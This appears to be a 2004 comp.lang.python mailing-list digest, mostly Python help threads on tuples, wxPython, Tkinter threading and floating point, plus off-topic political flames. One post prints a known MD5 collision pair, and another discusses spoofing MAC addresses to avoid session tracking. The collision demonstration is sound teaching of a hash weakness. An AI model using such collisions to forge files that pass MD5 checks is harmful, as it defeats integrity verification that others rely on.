error: (111, > 'Connection refused') What could be causing this? I've tried it from a > different computer and it seems to work, but not from this specific > server. If port 25 was blocked for some reason, would that give me a > 'connection refused' error? Please show a snippet of the code you are using, so we can see what you are trying to do here. From peter at engcorp.com Mon Sep 6 15:11:25 2004 From: peter at engcorp.com (Peter Hansen) Date: Mon, 06 Sep 2004 15:11:25 -0400 Subject: Tuple question In-Reply-To: References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> <9JmdnQkSR7m8e6rcRVn-sA@powergate.ca> Message-ID: Bryan Olson wrote: > Peter Hansen wrote: > > Consider, for example, that one actually has to build the > > tuple in the first place... how can you do that without > > having the info in a list to begin with? (I'm sure there > > are ways if one is ingenious, but I think the answers > > would just go to prove the point I was making.) > > x = (1, 2) > y = (3, 4) > print x + y In answer to this and to Alex' response, I should say that in the context of whether using a tuple for the final storage saves memory or not, neither response means much. I said "without having the info in a list" but what I meant to say was "without having the information already stored elsewhere before it is put in a tuple". The above just has two tuples which add up in memory usage to the same amount as the tuple you end up with, meaning that just prior to the deletion of the two temporary tuples (if that even happens) you are using *twice* the memory you need to use. Clearly that doesn't help you much if memory is scarce. Alex shows use of a generator... fine, but how do you build the tuple without storing up the results of the generator first somewhere else? You can't preallocate the space for the tuple if you don't know how long it will be, but you have to preallocate the space for a tuple (I believe, in the interpreter anyway, if not at the programmer level) so you must therefore be storing the entire output of the generator somewhere just prior to the tuple creation: same problem as above. I know Alex knows all this (or has some additional info that I don't have and which he'll shortly provide), so I can only assume he was reacting only to my poor choice of wording with 'list' and/or was ignoring the context of the discussion (memory usage). -Peter From roo at try-removing-this.darkboong.demon.co.uk Sat Sep 11 12:57:08 2004 From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott) Date: Sat, 11 Sep 2004 17:57:08 +0100 Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> <1ctshc.kd52.ln@via.reistad.priv.no> <41431d5f$0$6923$61fed72c@news.rcn.com> Message-ID: <1094921828.565587@teapot.planet.gong> jmfbahciv at aol.com wrote: [SNIP] > I had assumed this was to placate France, Germany and Russia. > IMO, there was too much politics and not enough military. I can't see why you bother making excuses on behalf of the Administration. It was the Administration's call as to who ran the CPA, let them take responsibility for it. -- Cheers, Rupert From adalke at mindspring.com Mon Sep 20 19:15:35 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Mon, 20 Sep 2004 23:15:35 GMT Subject: python is going to die! =( In-Reply-To: <414f61bf$0$29449$636a15ce@news.free.fr> References: <278de0e.0409201131.57baf7f9@posting.google.com> <414f61bf$0$29449$636a15ce@news.free.fr> Message-ID: bruno modulix wrote: > Well, you forgot emacs, the best Python IDE around - and it's free... Speaking of which, is there any way to get tab-completion (intellisense?) behaviour in emacs? Or in the interactive interpreter? Andrew dalke at dalkescientific.com From brenNOSPAMbarn at NObrenSPAMbarn.net Sat Sep 25 00:49:40 2004 From: brenNOSPAMbarn at NObrenSPAMbarn.net (OKB (not okblacke)) Date: 25 Sep 2004 04:49:40 GMT Subject: up with PyGUI! References: <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de> <864d3709040924070115d9d98a@mail.gmail.com> Message-ID: Ed Leafe wrote: >> class MainFrame(FrameDescription): >> >> class b1(ButtonDescription): >> size = (40, 40) >> text = "b1" >> >> ... where FrameDescription and ButtonDescription are both derived >> from a base Container class. When constructed, the MainFrame will >> contain an **instance** called b1 from the class b1 (that's right, >> the same name; the temporary class definition is gone). The >> metaclass creation engine also respects the order of the >> declaration. > > How is this more powerful/flexible/robust than something like: > > class MainForm(dabo.ui.dForm): > def __init__(self, parent=None): > self.addObject(ButtonDescription, "b1") > self.b1.Size = (40,40) > self.b1.Caption = "b1" > > ...which is the standard syntax in Dabo for adding objects to a > form (frame)? I would say that the former is a great deal more readable. In particular, this is one case where having to use an explicit "self" really hurts. You've already had to retype "self.b1" twice just to specify the size and caption. What if you wanted to specify a color? A background color? To say nothing of an event handler. In the same vein as what Carlos Ribeiro said in another post: it's my opinion that defining the GUI layout is a fundamentally declarative task, and forcing the programmer to perform it in a procedural fashion is working against the grain of the problem. -- --OKB (not okblacke) Brendan Barnwell "Do not follow where the path may lead. Go, instead, where there is no path, and leave a trail." --author unknown From jwkenne at attglobal.net Sat Sep 4 22:09:04 2004 From: jwkenne at attglobal.net (John W. Kennedy) Date: Sun, 05 Sep 2004 02:09:04 GMT Subject: Xah Lee's Unixism In-Reply-To: References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <1094257487.855439@teapot.planet.gong> <1094285694.404322@teapot.planet.gong> <1bpt51alai.fsf@cs.nmsu.edu> <1094329053.514935@teapot.planet.gong> Message-ID: <4zu_c.10523$lv3.5233795@news4.srv.hcvlny.cv.net> Nick Landsberg wrote: > The managmentcritters' attitude can be > summarized by: > - "If *we* don't meet *our* schedules, it's my butt on the > line." (The regal "we" and "our" purposely emphasized.) > - "If we meet our schedules and **** up, it's someone > else's butt on the line." The actual words were (approximately), "Take off your engineering hat and put on your management hat." In a just society, he would have received the death penalty. -- John W. Kennedy "Those in the seat of power oft forget their failings and seek only the obeisance of others! Thus is bad government born! Hold in your heart that you and the people are one, human beings all, and good government shall arise of its own accord! Such is the path of virtue!" -- Kazuo Koike. "Lone Wolf and Cub: Thirteen Strings" (tr. Dana Lewis) From olepar at gmail.com Mon Sep 6 23:13:55 2004 From: olepar at gmail.com (Oleg Paraschenko) Date: 6 Sep 2004 20:13:55 -0700 Subject: [q] chunked encoding in httplib References: Message-ID: <1e015c2a.0409061913.38204c8a@posting.google.com> Hello Christopher, christopher at baus.net wrote in message news:... > ... > I was wondering if the chunked encoding parser in libhttp supports chunk > trailers as described here: > ... It is not surprise if not. > ... > I doesn't seem that this information is available in the libhttp response > object. I'm currently considering not supporting trailers (ie assuming > they are always empty), as I don't know of any real world example where > they are used. Try to do POST requests to CGIs under IIS. I think you will get a real worl example soon. > > TIA, > > Christopher > www.baus.net -- Oleg From sbabbitt at commspeed.net Mon Sep 13 10:29:04 2004 From: sbabbitt at commspeed.net (Tom B.) Date: Mon, 13 Sep 2004 07:29:04 -0700 Subject: pythonwin demos References: Message-ID: <1095086352.656251@news.commspeed.net> "Gregor" wrote in message news:qY91d.406681$gE.311666 at pd7tw3no... > Does anyone know where I can find the pythonwin demos? The documentation > says they're in site-packages\pythonwin\pywin\demos, but there is no such > folder. I searched my HD for the demo file "guidemo.py," also mentioned in > the docs, and it's not there anywhere. > > Thanks, > > Greg. If you on a windows machine its in the c:\python23\lib\site-packages\pythonwin\pywin\demos directory. Tom From miki.tebeka at zoran.com Wed Sep 1 06:42:39 2004 From: miki.tebeka at zoran.com (Miki Tebeka) Date: Wed, 1 Sep 2004 12:42:39 +0200 Subject: Modules are hashable?! In-Reply-To: <2pld08Fm7mo8U1@uni-berlin.de> References: <2pld08Fm7mo8U1@uni-berlin.de> Message-ID: <20040901104239.GU2116@zoran.com> Hello Leif, > I was just playing around, and noticed that modules seem to be hashable. > Can anyone explain that, especially given the fact that they're mutable? http://docs.python.org/tut/node11.html#SECTION0011200000000000000000 HTH. -- ------------------------------------------------------------------------ Miki Tebeka http://tebeka.spymac.net The only difference between children and adults is the price of the toys From newsgroups at jhrothjr.com Mon Sep 20 22:52:10 2004 From: newsgroups at jhrothjr.com (John Roth) Date: Mon, 20 Sep 2004 21:52:10 -0500 Subject: Floating-point glitches with the math module. Bug? Or am I missing something? References: Message-ID: <10kv5qvr08gjtcd@news.supernews.com> "Chris Metzler" wrote in message news:pan.2004.09.21.00.32.24.949382 at speakeasy.snip-me.net... > On Mon, 20 Sep 2004 19:03:57 -0500, Jeff Epler wrote: >> >> Incidentally, the second part of your expression goes to 0 here, with >> the given values: > > Yeah, I noticed this later (it's sorta implicit in the content of my > other, followup post). > > This kinda sucks because I need to do some precision surveying calcs > -- computing lat/lons for a variety of points separated by known > distances and angles from a point of known lat/lon. If I do everything > in spherical trig, I run into this issue (that whole dividing-by-earth > -radius thing). But if I do things using planar approximations, for > most of the points I get lat/lons that are too far off from where they > should be. As Jeff points out, Python is at the mercy of the platform's C library - it does not have it's own numerical computation library. It simply wraps the C library functions. You might want to look at one of the math packages. SciPy comes highly recommended, it might do what you need. John Roth > > -c > > From robin at alldunn.com Sun Sep 26 14:19:21 2004 From: robin at alldunn.com (Robin Dunn) Date: Sun, 26 Sep 2004 11:19:21 -0700 Subject: Please Hlp with msg: "The C++ part of the StaticText object has been deleted" In-Reply-To: <4it5d.3230$nj.471@newssvr13.news.prodigy.com> References: <4it5d.3230$nj.471@newssvr13.news.prodigy.com> Message-ID: <41570829.6090808@alldunn.com> StvB wrote: > Hi, > I have a wxPython app which dump errors when I close it ( in > the debug output at bottom of Komodo, when I close my app. ) > > Where I got the code for my GUI: > Straight from the wxProject.py file which comes with the samples: > ---- > C:\Python23\Lib\site-packages\wx\samples\wxProject\wxProject.py ---- > > It basically consists of a splitterwindow, and I have a wxPanel > on the left side, which is set to a vertical box sizer. I used > the Add function of the sizer to simply add a wxStaticText control > at the very top. > The bottom half of this same left panel is a tree. > ( u can ignore the *right* side of the splitter.. nothing exciting is > happening.. it's the same as in the wxProject.py sample , > just a multilined edit contrl) > > Anyway, when I click on a node of this tree, I change the text of the > static text control at top, to the text of the node. It actually works, > but when I close the app I get this: > ---------------------------------------------- > The stack trace: > E:\MyProjects1\python\backup > Traceback (most recent call last): > File "E:\MyProjects1\python\backup\wxProject.py", line 294, in > OnNodeChanged > self.testLab.SetLabel('test') > File "C:\Python23\Lib\site-packages\wx\_core.py", line 10617, in > __getattr__ > raise PyDeadObjectError(self.attrStr % self._name) > wx._core.PyDeadObjectError: The C++ part of the StaticText object has been > deleted, attribute access no longer allowed. > --------------------------------------------- When the treectrl is destroyed it removes each of its items, but when the item that is selected is removed the tree will select another item which causes the selection event to be sent causing your handler to try to call SetLabel. If the statictext has already been destroyed at that time then the Python proxy will raise the exception you reported above. To avoid it you can check if the tree is being destroyed by calling its IsBeingDeleted method and if it returns True just return immediately from your event handler without doing anything. -- Robin Dunn Software Craftsman http://wxPython.org Java give you jitters? Relax with wxPython! From gen2n at seznam.cz Tue Sep 14 06:48:56 2004 From: gen2n at seznam.cz (p.kosina) Date: Tue, 14 Sep 2004 12:48:56 +0200 Subject: glade In-Reply-To: <41457a1b$1@sia.uibk.ac.at> References: <414579e1$1@sia.uibk.ac.at> <41457a1b$1@sia.uibk.ac.at> Message-ID: I have installed all of it but I can not find anything how to translate *.glade to python scripts. I do not need it urgently just interested. I have found glc.py which makes some errors... In fact I do not know how to handle libglade. Probably some tutorial would help. I use py2.3 under win2k. Thanks Pavel Poissonnier Julien napsal(a): > Poissonnier Julien wrote: > >> p.kosina wrote: >> >>> Does there exist any python plug-in (or something like that) for >>> Glade 2.0.1. win32 port? I cant find any or links are unavailable. >>> Thanks >>> Pavel >> >> >> PyGTK for Windows includes libglade support >> http://www.pcpm.ucl.ac.be/~gustin/win32_ports/ >> There is a nice all-in-one installer for windows (includes GTK+, >> Glade, Docs, etc) which works well with the Windows PyGTK port > > I forgot the link to the all-in-one installer: > http://gladewin32.sourceforge.net/ From steve at holdenweb.com Mon Sep 27 23:22:26 2004 From: steve at holdenweb.com (Steve Holden) Date: Mon, 27 Sep 2004 23:22:26 -0400 Subject: finding time when url was modified In-Reply-To: References: <5r36d.524$gk.491@okepread01> Message-ID: Ajay wrote: > Quoting Peter Hansen : > > >>Ajay wrote: >> >>>is it possible for someone to change the Last-Modified header? Can >> >>someone >> >>>put a new updated document, but in such a way that if someone requests >>>that document, they get an old date rather than the new date? >>>i can see a CGI script add its own header and then write out the >> >>document. >> >>>but can this be done with a simple HTML page? >> >>Certainly... the server can do anything it wants with that >>header, including failing to provide it, providing an invalid >>date, providing a date in the future or distant past, or >>even providing a date that happens to correspond exactly >>with the true "last modified" date of the document... >> >>Whether a *particular* server will do that with a *particular* >>kind of document is a different question altogether. >> >>Do you have a specific situation involving this that you >>can describe, or are you just asking in general, out of >>curiosity? > > > thanks > it was mostly out of curiousity. I have an interchange where the servers > would send a policy and request a resource. the other server would > evaluate the policy and respond accordingly. > i am hoping to cut down on the evaluation by maintaining a record of past > transactions and if everything is the same (policy, resource ets) then > take the same action as before. one way was to store policy used earlier > and compare that with the new one and so on. since the app is for a mobile > device with low processing power, i was hoping to perhaps use modified date > - which when i thought a little more about it is clearly not feasible. > > i guess comparing two really large strings is what i'll have to go with. > any ideas on performance of string comparisons? > Compare the MD5 checksums instead. Python has an MD5 function, somewhere ... regards Steve From krw at att.bizzzz Sat Sep 11 01:20:51 2004 From: krw at att.bizzzz (keith) Date: Sat, 11 Sep 2004 01:20:51 -0400 Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> Message-ID: On Fri, 10 Sep 2004 20:35:48 +0000, Antony Sequeira wrote: > Chuck Dillon wrote: >> >> So, lets say you are an elected official on 9/12/01, the day after we >> lost *only* 3K out of the potentially 20-30K folks that could have been >> killed (that's how many folks spent their day in those towers). You no >> longer have any frame of reference for the magnitude or imminence of >> risk of an attack elsewhere in country. How much time do you spend >> studying up international treaties before you decide how to act? >> > How is that related to Saqqddam Hussqqqqqain being a jackass and us > spending 100 or whatever billions on removing him and having 1000+ of > Americans + unknown number of Iraqqqqqis getting killed. How does that > help avoid > 9 qqqq 11 or are you confused between Iraqqqqqis and Saudqqqqis ? > Why don't we destroy everything but the U.S., that way we can guarantee > that we'll never have any posibility of a terrqqqqorist attack from > anywhere but from within U.S. I'll leave it to your imagination on how > to extrapolate that to counter terrqqqqorism within U.S. You'd better fix your qqqqqqqqqqqq key before your head pops. -- Keith From apardon at forel.vub.ac.be Mon Sep 6 08:18:24 2004 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 6 Sep 2004 12:18:24 GMT Subject: What about an EXPLICIT naming scheme for built-ins? References: <864d370904090306333b53ef56@mail.gmail.com> <1gjjy21.2sppd3100wm1fN%aleaxit@yahoo.com> Message-ID: Op 2004-09-04, Alex Martelli schreef : > Jp Calderone wrote: > ... >> They are new. There is no reason to worry about breaking >> compatibility. Why sequences and not iterators? I would prefer the > > sorted returns a sequence (a list) because it must build one anyway, and > it would be a waste NOT to return it in the several cases in which you > want one. list(iter(list(something))) is simply a stupid waste... But I think it would be nice to have a naming convention that made it clear whether you got an iterator or a sequence (list). If we would use names like ranging, reversing ... when an iterator is returned and sorted, ... when a sorted copy of the sequence is returned I think that would greatly help people in understanding what is going on. -- Antoon Pardon From alloydflanagan at comcast.net Fri Sep 24 16:23:03 2004 From: alloydflanagan at comcast.net (A. Lloyd Flanagan) Date: 24 Sep 2004 13:23:03 -0700 Subject: Don't let your babies grow up to be programmers (was: up with PyGUI!) References: <1095378815.31957.166.camel@devilbox.devilnet.internal> <278de0e.0409231337.1a032135@posting.google.com> Message-ID: luismg at gmx.net (Neuruss) wrote in message news:<278de0e.0409231337.1a032135 at posting.google.com>... > people, with knowledge of two or more languages and with high tech > skills can aspire to pay the rent and make a living, making 4 or 5x > less than an american counterpart. > These people worked their ass off to have what they're getting now. So did we. I certainly respect the accomplishments of programmers the world over. However... I think the real problem is not so much that foreign programmers are paid less than US programmers. Instead I suspect the problem (from our point of view) is that their cost of living is so much lower. If I worked for the salary of an Indian programmer I would have no place to live, no insurance, and would have a hard time buying food to take back to my family living under a bridge. Meanwhile the Indian programmer is living like a king (more or less). This issue will impact a lot more professions than programming. It's getting hard to find a function that can't be performed from the other side of the world anymore. What the American economy can do to respond to this I have no idea. On the other hand maybe we should all just move to India. We could teach them how to play football (the real kind, not that soccer stuff). From clifford.wells at comcast.net Wed Sep 15 02:03:40 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Tue, 14 Sep 2004 23:03:40 -0700 Subject: i am going to get crazy!!! In-Reply-To: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> Message-ID: <1095228220.28128.71.camel@devilbox.devilnet.internal> On Tue, 2004-09-14 at 17:15 -0700, andresm wrote: > I come from a java background using eclipse, netbeans,intellij,etc > and i realy liked to learn python =( , java sucks for tons of reasons, > but i dont now what to do the most important feature of an ide is > syntax coloring and "full code completion suport". I don't know if this is any good, but since you like Eclipse: http://sourceforge.net/projects/pyeclipse/ -- Cliff Wells From abra9823 at mail.usyd.edu.au Tue Sep 21 00:12:14 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Tue, 21 Sep 2004 14:12:14 +1000 Subject: MAC address In-Reply-To: <414fa1ec$0$63273$a1866201@newsreader.visi.com> References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> <414efed5$0$60631$a1866201@newsreader.visi.com> <414f7c66$0$60638$a1866201@newsreader.visi.com> <414fa1ec$0$63273$a1866201@newsreader.visi.com> Message-ID: <1095739934.414faa1e1d2a4@www-mail.usyd.edu.au> Quoting Grant Edwards : > On 2004-09-21, Ajay wrote: > > >> How are you going to avoid collisions? I suppose it's a > >> sufficiently slim probability you can just ignore it. > >> > >>> also, is there an alternative way to anonymize a client? > >> > >> Not really, but how could your MAC address be traced to you, > >> anyway? > > > > i suppose i should clarify again that the question is not in > > the context of the Internet but a wireless LAN. > > Right. > > > within a LAN, if i were to open a socket connection with a > > server and send some data to it, the server would be able to > > pick up my MAC and IP address. > > If the server is on the same LAN, yes. If it's on the other > side of a router or firewall, no. That said, once the server > has your MAC, what's it going to do with it? Is there some way > to trace that MAC to your name, address, and phone number? if you use the service say 10 times, then the server can link those 10 sessions together based on your MAC address. and the server will be on the same LAN > > > so what i want to do is to anonymize the MAC by picking a > > random (but valid) MAC address and using that. after that i > > will anonymize the IP. > > Strictly speaking, the only MAC that is "valid" according to > the IEEE spec is the one the manufacturer put into it. However, > as long as you pick a MAC address that's not one of the special > ones (broadcast or multicast addresses), you can probably just > pick one at random. by a valid MAC i meant having a legal devide manufacturer ID > > > -- > Grant Edwards grante Yow! A can of > ASPARAGUS, > at 73 pigeons, some LIVE > ammo, > visi.com and a FROZEN > DAQUIRI!! > -- > http://mail.python.org/mailman/listinfo/python-list > ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From onurb at xiludom.gro Mon Sep 20 18:52:22 2004 From: onurb at xiludom.gro (bruno modulix) Date: Tue, 21 Sep 2004 00:52:22 +0200 Subject: python is going to die! =( In-Reply-To: References: Message-ID: <414f60cc$0$29449$636a15ce@news.free.fr> julio a ?crit (et il aurait eu mieux fait de s'abstenir...): (snip a whole lot of bullshit and crap) > looks like they havent, they think new people is willing to practice emacs > for 6 months before even thinking about being productive, not to mention > you have to learn 20 years old list, and low level c stuff to have fully > advantage. Those guys are realy happy with their stuff that totaly, > completly refuses to try a new tool, a new tool that 'is' better, like say, > an ide??. You missed the main point here : emacs actually is an IDE. And probably one of the best one around. Good night, Mr Troll (snip a whole lot of bullshit and crap) From bokr at oz.net Sun Sep 12 16:18:00 2004 From: bokr at oz.net (Bengt Richter) Date: 12 Sep 2004 20:18:00 GMT Subject: MD5 and SHA cracked/broken... References: <7xacvwn01v.fsf@ruckus.brouhaha.com> Message-ID: On Sun, 12 Sep 2004 12:29:06 -0400, Tim Peters wrote: >[Paul Rubin] >>> MD5 and SHA-0 had collisions found. > >[GomoX Gonzalo Sainz-Tr=E1paga] >> I don't think so. Would you mind posting a link? > >Here's an MD5 collision demonstrated in Python. I derived this code >from the paper at > > http://eprint.iacr.org/2004/199.pdf > >import md5 > >S =3D ('\xd11\xdd\x02\xc5\xe6\xee\xc4i=3D\x9a\x06\x98\xaf\xf9\\' > '/\xca\xb5\x87\x12F~\xab@\x04X>\xb8\xfb\x7f\x89U\xad4' > '\x06\t\xf4\xb3\x02\x83\xe4\x88\x83%qAZ\x08Q%\xe8\xf7' > '\xcd\xc9\x9f\xd9\x1d\xbd\xf2\x807<[\x96\x0b\x1d\xd1' > '\xdcA{\x9c\xe4\xd8\x97\xf4ZeU\xd55s\x9a\xc7\xf0\xeb' > '\xfd\x0c0)\xf1f\xd1\t\xb1\x8fu\'\x7fy0\xd5\\\xeb"' > '\xe8\xad\xbay\xcc\x15\\\xedt\xcb\xdd_\xc5\xd3m\xb1' > '\x9b\n\xd85\xcc\xa7\xe3') > >T =3D ('\xd11\xdd\x02\xc5\xe6\xee\xc4i=3D\x9a\x06\x98\xaf\xf9\\' > '/\xca\xb5\x07\x12F~\xab@\x04X>\xb8\xfb\x7f\x89U\xad4' > '\x06\t\xf4\xb3\x02\x83\xe4\x88\x83%\xf1AZ\x08Q%\xe8\xf7' > '\xcd\xc9\x9f\xd9\x1d\xbdr\x807<[\x96\x0b\x1d\xd1\xdcA{' > '\x9c\xe4\xd8\x97\xf4ZeU\xd55s\x9aG\xf0\xeb\xfd\x0c0)' > '\xf1f\xd1\t\xb1\x8fu\'\x7fy0\xd5\\\xeb"\xe8\xad\xbayL' > '\x15\\\xedt\xcb\xdd_\xc5\xd3m\xb1\x9b\nX5\xcc\xa7\xe3') > >assert S !=3D T >print md5.new(S).hexdigest() >print md5.new(T).hexdigest() >print "oops" Others may have received that correctly, but between some systems and mine '=' seems to get re-encoded as '=3D' (including in S and T). After fixing that, pasting into my console python session worked for me: >>> import md5 >>> >>> S = ('\xd11\xdd\x02\xc5\xe6\xee\xc4i=\x9a\x06\x98\xaf\xf9\\' ... '/\xca\xb5\x87\x12F~\xab@\x04X>\xb8\xfb\x7f\x89U\xad4' ... '\x06\t\xf4\xb3\x02\x83\xe4\x88\x83%qAZ\x08Q%\xe8\xf7' ... '\xcd\xc9\x9f\xd9\x1d\xbd\xf2\x807<[\x96\x0b\x1d\xd1' ... '\xdcA{\x9c\xe4\xd8\x97\xf4ZeU\xd55s\x9a\xc7\xf0\xeb' ... '\xfd\x0c0)\xf1f\xd1\t\xb1\x8fu\'\x7fy0\xd5\\\xeb"' ... '\xe8\xad\xbay\xcc\x15\\\xedt\xcb\xdd_\xc5\xd3m\xb1' ... '\x9b\n\xd85\xcc\xa7\xe3') >>> >>> T = ('\xd11\xdd\x02\xc5\xe6\xee\xc4i=\x9a\x06\x98\xaf\xf9\\' ... '/\xca\xb5\x07\x12F~\xab@\x04X>\xb8\xfb\x7f\x89U\xad4' ... '\x06\t\xf4\xb3\x02\x83\xe4\x88\x83%\xf1AZ\x08Q%\xe8\xf7' ... '\xcd\xc9\x9f\xd9\x1d\xbdr\x807<[\x96\x0b\x1d\xd1\xdcA{' ... '\x9c\xe4\xd8\x97\xf4ZeU\xd55s\x9aG\xf0\xeb\xfd\x0c0)' ... '\xf1f\xd1\t\xb1\x8fu\'\x7fy0\xd5\\\xeb"\xe8\xad\xbayL' ... '\x15\\\xedt\xcb\xdd_\xc5\xd3m\xb1\x9b\nX5\xcc\xa7\xe3') >>> >>> assert S != T >>> print md5.new(S).hexdigest() a4c0d35c95a63a805915367dcfe6b751 >>> print md5.new(T).hexdigest() a4c0d35c95a63a805915367dcfe6b751 >>> print "oops" oops QED Regards, Bengt Richter From ofnap at nus.edu.sg Sun Sep 26 08:53:09 2004 From: ofnap at nus.edu.sg (Ajith Prasad) Date: 26 Sep 2004 05:53:09 -0700 Subject: PythonDSS: A suggestion for a book and accompanying software distribution Message-ID: <37ee60c8.0409260453.55509670@posting.google.com> I think there should be a good market for a Python book that focuses on the use of Python for decision support work, especially financial decison support which will include financial data warehouse building, data analysis, modelling and reporting/visualisation. It should be "how to" book and not a rehash of existing Python language books. The book should be accompanied by a Python distribution that includes a core set of modules that covers the areas relevant to decsion support systems - similar to what Enthought (www.enthought.com) does with their Python (Enthought Edition) whose focus though is on scientific computing. Obviously, a PythonDSS book will be a long time coming. In the meanhwile, perhaps those interested could suggest through this newsgroup, what are the "best of breed" modules to include in the proposed PythonDSS. Obvious candidates for inclusion would include: Numarray, Excel connectivity (pyXLWriter?), a relational data base (?), OLAP-type facility (PyTables?), ReportLab, etc. From aleaxit at yahoo.com Mon Sep 6 13:09:23 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 6 Sep 2004 19:09:23 +0200 Subject: Linux application deployment In-Reply-To: <3A81C87DC164034AA4E2DDFE11D258E3022EBD@exchange.hqamor.amorhq.net> References: <3A81C87DC164034AA4E2DDFE11D258E3022EBD@exchange.hqamor.amorhq.net> Message-ID: <7FAF3352-0027-11D9-A6A1-000A95EFAE9E@yahoo.com> On 2004 Sep 06, at 18:06, Robert Brewer wrote: ... >> def whereami(): return os.path.abspath(sys.modules[__name__].__file__) > > Shorter version for the local directory: > > import os.path > localDir = os.path.dirname(__file__) > > I don't see any reason to make it a callable...? By encapsulating this I believe you stand a better chance of easily fixing across Python version changes, platform oddities, etc. Of course, __name__ should then be an argument (otherwise this function will always report the whereabouts of the module it was imported from) -- and if you don't know how to import anything then importing the 'utilities' module containing this is also going to be problematic, of course;-). Alex From pmetzger at bellsouth.net Tue Sep 14 20:56:03 2004 From: pmetzger at bellsouth.net (Paul Metzger) Date: Tue, 14 Sep 2004 19:56:03 -0500 Subject: i am going to get crazy!!! In-Reply-To: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> Message-ID: <41479323.7010301@bellsouth.net> andresm wrote: >I cant believe there is no single decent open source for python, all >them miss some of the most core features an ide should have, i just >cant believe this!!! I have been looking for a decent ide for one >weak, i have tried all of them, all. the only kick ass one is ipython, >but thats a shell that shows how an ide should be. > > > Have you tried wxglade? It's pretty good, Not all that, but pretty good. > I come from a java background using eclipse, netbeans,intellij,etc >and i realy liked to learn python =( , java sucks for tons of reasons, >but i dont now what to do the most important feature of an ide is >syntax coloring and "full code completion suport". > > > As far as the syntax coloring goes, use vim. It's the best text editor on the open source/gnu/gpl market IMNSHO and it's rather intuitive. As far as the full code completion goes, the M$ .net studio killed me from ever wanting to see another ide that does that. While it's useful(and I think wxglade has a option for it) Personally I prefer to do most of everything in vi:) but I am a command line junkie also. > For example if i am learning how to use the sys module in my code and >while i am writing like : > > sys . > > A list should appear showing me all the attributes of the module or >class : variables,locals,globals,builtins,etc and when i focus on one >item for example " setprofile " method the documentation of the method >should appear in another popup , that way i can learn the libraries >fast and in an interactive way. Is all i want in an ide ALL IDES have >this. Why python ones dont ? in spe you get everything that is in the >namespace,not just the object before the dot triger,same in eric3, in >komodo you get just the functions, no docs. > > Whats wrong with my common sense? all ides for php,java,c have this >feature , is all i want to be able to program fast =( . > > > Python is quick in and of it's self. esp when you get into the functions and make it pull in thoes functions... Paul From danb_83 at yahoo.com Sun Sep 19 01:26:36 2004 From: danb_83 at yahoo.com (Dan Bishop) Date: 18 Sep 2004 22:26:36 -0700 Subject: Math errors in python References: Message-ID: Gary Herron wrote in message news:... > On Saturday 18 September 2004 09:50 am, Radioactive Man wrote: > > In python 2.3 (IDLE 1.0.3) running under windows 95, I get the > > following types of errors whenever I do simple arithmetic: > > > > 1st example: > > >>> 12.10 + 8.30 > > > > 20.399999999999999 > > > It's not a bug, it's a feature of binary arithmetic on ALL coumputers > in ALL languages. Actually, it's a feature of limited-precision floating-point in ANY base, not just binary. This includes base-10. (I'm sure you've seen BCD calculators that give 1/3*3=0.99999999.) From eric_brunel at despammed.com Fri Sep 17 11:26:29 2004 From: eric_brunel at despammed.com (Eric Brunel) Date: Fri, 17 Sep 2004 17:26:29 +0200 Subject: thread and tkMessageBox References: Message-ID: Ajay wrote: > hi! > > my application consists of a GUI with a number of functions. One of these > runs a server in a separate thread. the thread is started and given the > function start_server to execute > the problem is when within start_server i try to display anything using > tkMessageBox, nothing gets displayed and my application crashes. Don't do that: Tkinter is not thread-safe; almost every call to Tkinter methods or functions should be done in the thread where the mainloop was started, or you will experience such crashes. > Any ideas > what i am doing wrong and how to correct it The usual way to do that is to post an event to the GUI event queue via the event_generate method and to treat this event in the mainloop thread. Since you seem to display a (supposedly modal) dialog in the secondary thread, this will involve a synchronisation mechanism between the two threads. Here is an example: ----------------------------------------------------------- import threading, time from Tkinter import * from tkMessageBox import askyesno from Queue import Queue ## Tkinter calls are in the main thread root = Tk() ## Communication queue betwwen the two threads q = Queue() ## Function for secondary thread def th2(): ## Simulate a long treatment time.sleep(1) ## Generate event to display dialog root.event_generate('<>', when='tail') ## Wait for answer coming from main thread answer = q.get() ## Continue after answer was received print answer time.sleep(1) print 'Done' ## Binding for <> custom event def ask(event=None): ## Display dialog answer = askyesno("OK?", "OK to go?") ## Put event in queue q.put(answer) root.bind('<>', ask) ## Run secondary thread th = threading.Thread(target=th2) th.start() ## Run mainloop root.mainloop() ----------------------------------------------------------- As you can see, the secondary thread requests the display of the dialog via a custom event named <>. This event is treated by a regular binding in the main thread (this is an exception to the rule above: calling the Tkinter method event_generate in a secondary thread works) To communicate the dialog result 